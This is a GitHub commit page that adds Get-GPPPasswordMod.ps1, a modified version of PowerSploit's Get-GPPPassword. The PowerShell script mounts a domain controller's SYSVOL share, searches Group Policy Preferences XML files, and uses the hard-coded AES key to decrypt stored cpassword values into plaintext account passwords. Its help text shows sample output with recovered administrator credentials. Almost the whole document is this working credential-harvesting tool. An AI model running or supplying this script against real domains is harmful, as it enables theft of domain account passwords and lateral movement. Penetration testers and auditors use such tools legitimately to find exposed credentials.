Skip to content

Commit cbbee5e

Browse files
authored
Create Get-GPPPasswordMod.ps1
1 parent c1ec31f commit cbbee5e

File tree

1 file changed

+363
-0
lines changed

1 file changed

+363
-0
lines changed

Get-GPPPasswordMod.ps1

Lines changed: 363 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,363 @@
1+
function Get-GPPPasswordMod
2+
{
3+
<#
4+
.SYNOPSIS
5+
6+
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
7+
8+
PowerSploit Function: Get-GPPPassword
9+
Author: Chris Campbell (@obscuresec)
10+
Shabby Mods: Scott Sutherland (@_nullbind)
11+
License: BSD 3-Clause
12+
Required Dependencies: None
13+
Optional Dependencies: None
14+
Version: 2.4.2
15+
16+
.DESCRIPTION
17+
18+
Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
19+
20+
Modification Summary
21+
- Added verbose statusing.
22+
- Added option to allow users to provide alternative credentials for authenticating to domain controllers not associated with the current user/domain.
23+
- Modified some of the parsing logic to output one credential at a time.
24+
- Added an excessive amount of comments to remind myself how PowerShell works :)
25+
26+
.EXAMPLE
27+
28+
Below is the standard command usage as a domain user.
29+
30+
PS C:\> Get-GPPPassword
31+
32+
NewName :
33+
Changed : 2015-05-05 16:49:19
34+
UserName : test
35+
CPassword : wWHIrHyXsbFpBhpQ/fMKbwEEg3Ko0Es+RskCj/W6F8I
36+
Password : password
37+
File : \\192.168.1.1\sysvol\demo.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Preferences\DataSources\DataSources.xml
38+
39+
NewName :
40+
Changed : 2015-05-05 16:46:28
41+
UserName : myuser
42+
CPassword : OvKsuaNQPUAnLU4z8wzxe8Q1teovDkwdcJfI+rZb+eM
43+
Password : mypassword
44+
File : \\192.168.1.1\sysvol\demo.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Preferences\Drives\Drives.xml
45+
46+
NewName :
47+
Changed : 2015-05-07 00:55:10
48+
UserName : supershareuser
49+
CPassword : 3uDWVlCID77BN5/bo5T5YLqZWIrj8yNKngzGhpuHO44
50+
Password : superpass
51+
File : \\192.168.1.1\sysvol\demo.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Preferences\Drives\Drives.xml
52+
53+
NewName : NotTheAdminUser
54+
Changed : 2015-05-08 01:16:36
55+
UserName : Administrator
56+
CPassword : zkS7m3XryG3Mwr/HOHT59n8D4YqouI/idF01L9gjpjw
57+
Password : ********11
58+
File : \\192.168.1.1\sysvol\demo.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Preferences\Groups\Groups.xml
59+
60+
NewName : TestAdmin
61+
Changed : 2015-05-08 00:58:49
62+
UserName : MyAdministrator
63+
CPassword : AzVJmXh/J9KrU5n0czX1uAjyl43GRDc33Gnizx/zYpE
64+
Password : testpass
65+
File : \\192.168.1.1\sysvol\demo.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Preferences\Groups\Groups.xml
66+
67+
NewName :
68+
Changed : 2015-05-05 16:51:01
69+
UserName : administrator
70+
CPassword : upTiWyCZN6O+ljt30DpKoO11LltmtQzgY29yzKRyjtY
71+
Password : SuperPassword!
72+
File : \\192.168.1.1\sysvol\demo.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Preferences\ScheduledTasks\ScheduledTasks.xml
73+
74+
.EXAMPLE
75+
76+
In the example below the verbose switch is used to show additional status information and return a list of passwords. Also, the exmaple
77+
shows how to target a remote domain controller using alternative domain credentials from a system not associated with the domain of the
78+
domain controller.
79+
80+
PS C:\> Get-GPPPasswordMod -Verbose -DomainController 10.2.9.109 -Credential test.domain\administrator | Select-Object Password
81+
VERBOSE: Creating temp drive bgzimwykdt mapped to \\10.2.9.109\sysvol...
82+
VERBOSE: Gathering GPP xml files from \\10.2.9.109\sysvol...
83+
VERBOSE: Paring content from GPP xml files...
84+
VERBOSE: DataSources.xml found, processing...
85+
VERBOSE: Drives.xml found, processing...
86+
VERBOSE: Groups.xml found, processing...
87+
VERBOSE: Printers.xml found, processing...
88+
VERBOSE: ScheduledTasks.xml found, processing...
89+
VERBOSE: Removing temp drive bgzimwykdt...
90+
91+
Password
92+
--------
93+
password
94+
mypassword
95+
superpass
96+
********11
97+
testpass
98+
SuperPassword!
99+
100+
.LINK
101+
102+
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
103+
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
104+
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
105+
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
106+
107+
#>
108+
[CmdletBinding(DefaultParametersetName="Default")]
109+
Param(
110+
111+
[Parameter(Mandatory=$false,
112+
HelpMessage="Credentials to use when connecting to a Domain Controller.")]
113+
[System.Management.Automation.PSCredential]
114+
[System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
115+
116+
[Parameter(Mandatory=$false,
117+
HelpMessage="Domain controller for Domain and Site that you want to query against.")]
118+
[string]$DomainController
119+
)
120+
121+
Begin
122+
{
123+
124+
# Ensure that machine is domain joined and script is running as a domain account, or a credential has been provided
125+
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) -and (-not $Credential) ) {
126+
throw 'Machine is not a domain member or User is not a member of the domain.'
127+
return
128+
}
129+
130+
# ----------------------------------------------------------------
131+
# Define helper function that decodes and decrypts password
132+
# ----------------------------------------------------------------
133+
function Get-DecryptedCpassword {
134+
[CmdletBinding()]
135+
Param (
136+
[string] $Cpassword
137+
)
138+
139+
try {
140+
#Append appropriate padding based on string length
141+
$Mod = ($Cpassword.length % 4)
142+
143+
switch ($Mod) {
144+
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
145+
'2' {$Cpassword += ('=' * (4 - $Mod))}
146+
'3' {$Cpassword += ('=' * (4 - $Mod))}
147+
}
148+
149+
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
150+
151+
#Create a new AES .NET Crypto Object
152+
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
153+
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
154+
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
155+
156+
#Set IV to all nulls to prevent dynamic generation of IV value
157+
$AesIV = New-Object Byte[]($AesObject.IV.Length)
158+
$AesObject.IV = $AesIV
159+
$AesObject.Key = $AesKey
160+
$DecryptorObject = $AesObject.CreateDecryptor()
161+
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
162+
163+
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
164+
}
165+
166+
catch {Write-Error $Error[0]}
167+
}
168+
169+
# ----------------------------------------------------------------
170+
# Setup data table to store GPP Information
171+
# ----------------------------------------------------------------
172+
$TableGPPPasswords = New-Object System.Data.DataTable
173+
$TableGPPPasswords.Columns.Add('NewName') | Out-Null
174+
$TableGPPPasswords.Columns.Add('Changed') | Out-Null
175+
$TableGPPPasswords.Columns.Add('UserName') | Out-Null
176+
$TableGPPPasswords.Columns.Add('CPassword') | Out-Null
177+
$TableGPPPasswords.Columns.Add('Password') | Out-Null
178+
$TableGPPPasswords.Columns.Add('File') | Out-Null
179+
180+
# ----------------------------------------------------------------
181+
# Authenticate to DC, mount sysvol share, & dump xml file contents
182+
# ----------------------------------------------------------------
183+
184+
# Set target DC
185+
if($DomainController){
186+
$TargetDC = "\\$DomainController"
187+
}else{
188+
$TargetDC = $env:LOGONSERVER
189+
}
190+
191+
# Create randomish name for dynamic mount point
192+
$set = "abcdefghijklmnopqrstuvwxyz".ToCharArray();
193+
$result += $set | Get-Random -Count 10
194+
$DriveName = [String]::Join("",$result)
195+
$DrivePath = "$TargetDC\sysvol"
196+
197+
# Map a temp drive to the DC sysvol share
198+
Write-Verbose "Creating temp drive $DriveName mapped to $DrivePath..."
199+
If ($Credential.UserName){
200+
201+
# Mount the drive
202+
New-PSDrive -PSProvider FileSystem -Name $DriveName -Root $DrivePath -Credential $Credential| Out-Null
203+
}else{
204+
205+
# Create a temp drive mapping
206+
New-PSDrive -PSProvider FileSystem -Name $DriveName -Root $DrivePath | Out-Null
207+
}
208+
}
209+
210+
Process
211+
{
212+
# Verify temp drive mounted
213+
$DriveCheck = Get-PSDrive | Where { $_.name -like "$DriveName"}
214+
if($DriveCheck) {
215+
Write-Verbose "$Drivename created."
216+
}else{
217+
Write-Verbose "Failed to mount $DriveName to $DrivePath."
218+
return
219+
}
220+
221+
# ----------------------------------------------------------------
222+
# Find, download, parse, decrypt, and display results
223+
# ----------------------------------------------------------------
224+
225+
# Setup temp drive name
226+
$DriveLetter = $DriveName+":"
227+
228+
# Get a list of GGP config files
229+
Write-Verbose "Gathering GPP xml files from $DrivePath..."
230+
$XMlFiles = Get-ChildItem -Path $DriveLetter -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
231+
232+
# Parse GPP config files
233+
Write-Verbose "Paring content from GPP xml files..."
234+
$XMlFiles |
235+
ForEach-Object {
236+
$FileFullName = $_.fullname
237+
$FileName = $_.Name
238+
[xml]$FileContent = Get-Content -Path "$FileFullName"
239+
240+
# Process Drives.xml
241+
if($FileName -eq "Drives.xml"){
242+
243+
Write-Verbose "$FileName found, processing..."
244+
245+
$FileContent.Drives.Drive |
246+
ForEach-Object {
247+
[string]$Username = $_.properties.username
248+
[string]$CPassword = $_.properties.cpassword
249+
[string]$Password = Get-DecryptedCpassword $Cpassword
250+
[datetime]$Changed = $_.changed
251+
[string]$NewName = ""
252+
253+
# Add the results to the data table
254+
$TableGPPPasswords.Rows.Add($NewName,$Changed,$Username,$Cpassword,$Password,$FileFullName) | Out-Null
255+
}
256+
}
257+
258+
# Process Groups.xml
259+
if($FileName -eq "Groups.xml"){
260+
261+
Write-Verbose "$FileName found, processing..."
262+
263+
$Filecontent.Groups.User |
264+
ForEach-Object {
265+
[string]$Username = $_.properties.username
266+
[string]$CPassword = $_.properties.cpassword
267+
[string]$Password = Get-DecryptedCpassword $Cpassword
268+
[datetime]$Changed = $_.changed
269+
[string]$NewName = $_.properties.newname
270+
271+
# Add the results to the data table
272+
$TableGPPPasswords.Rows.Add($NewName,$Changed,$Username,$Cpassword,$Password,$FileFullName) | Out-Null
273+
}
274+
}
275+
276+
# Process Services.xml
277+
if($FileName -eq "Services.xml"){
278+
279+
Write-Verbose "$FileName found, processing..."
280+
281+
$Filecontent.NTServices.NTService |
282+
ForEach-Object {
283+
[string]$Username = $_.properties.accountname
284+
[string]$CPassword = $_.properties.cpassword
285+
[string]$Password = Get-DecryptedCpassword $Cpassword
286+
[datetime]$Changed = $_.changed
287+
[string]$NewName = ""
288+
289+
# Add the results to the data table
290+
$TableGPPPasswords.Rows.Add($NewName,$Changed,$Username,$Cpassword,$Password,$FileFullName) | Out-Null
291+
}
292+
}
293+
294+
# Process ScheduledTasks.xml
295+
if($FileName -eq "ScheduledTasks.xml"){
296+
297+
Write-Verbose "$FileName found, processing..."
298+
299+
$Filecontent.ScheduledTasks.Task |
300+
ForEach-Object {
301+
[string]$Username = $_.properties.runas
302+
[string]$CPassword = $_.properties.cpassword
303+
[string]$Password = Get-DecryptedCpassword $Cpassword
304+
[datetime]$Changed = $_.changed
305+
[string]$NewName = ""
306+
307+
# Add the results to the data table
308+
$TableGPPPasswords.Rows.Add($NewName,$Changed,$Username,$Cpassword,$Password,$FileFullName) | Out-Null
309+
}
310+
}
311+
312+
# Process DataSources.xml
313+
if($FileName -eq "DataSources.xml"){
314+
315+
Write-Verbose "$FileName found, processing..."
316+
317+
$Filecontent.DataSources.DataSource |
318+
ForEach-Object {
319+
[string]$Username = $_.properties.username
320+
[string]$CPassword = $_.properties.cpassword
321+
[string]$Password = Get-DecryptedCpassword $Cpassword
322+
[datetime]$Changed = $_.changed
323+
[string]$NewName = ""
324+
325+
# Add the results to the data table
326+
$TableGPPPasswords.Rows.Add($NewName,$Changed,$Username,$Cpassword,$Password,$FileFullName) | Out-Null
327+
}
328+
}
329+
330+
# Process Printers.xml
331+
if($FileName -eq "Printers.xml"){
332+
333+
Write-Verbose "$FileName found, processing..."
334+
335+
$Filecontent.Printers.SharedPrinter |
336+
ForEach-Object {
337+
[string]$Username = $_.properties.username
338+
[string]$CPassword = $_.properties.cpassword
339+
[string]$Password = Get-DecryptedCpassword $Cpassword
340+
[datetime]$Changed = $_.changed
341+
[string]$NewName = ""
342+
343+
# Add the results to the data table
344+
$TableGPPPasswords.Rows.Add($NewName,$Changed,$Username,$Cpassword,$Password,$FileFullName) | Out-Null
345+
}
346+
}
347+
348+
}
349+
350+
# Remove the temp drive mapping
351+
Write-Verbose "Removing temp drive $DriveName..."
352+
Remove-PSDrive $DriveName
353+
354+
# Check if anything was found
355+
if ( -not $XMlFiles ) {
356+
throw 'No preference files found.'
357+
return
358+
}
359+
360+
# Display results
361+
$TableGPPPasswords
362+
}
363+
}

0 commit comments

Comments
 (0)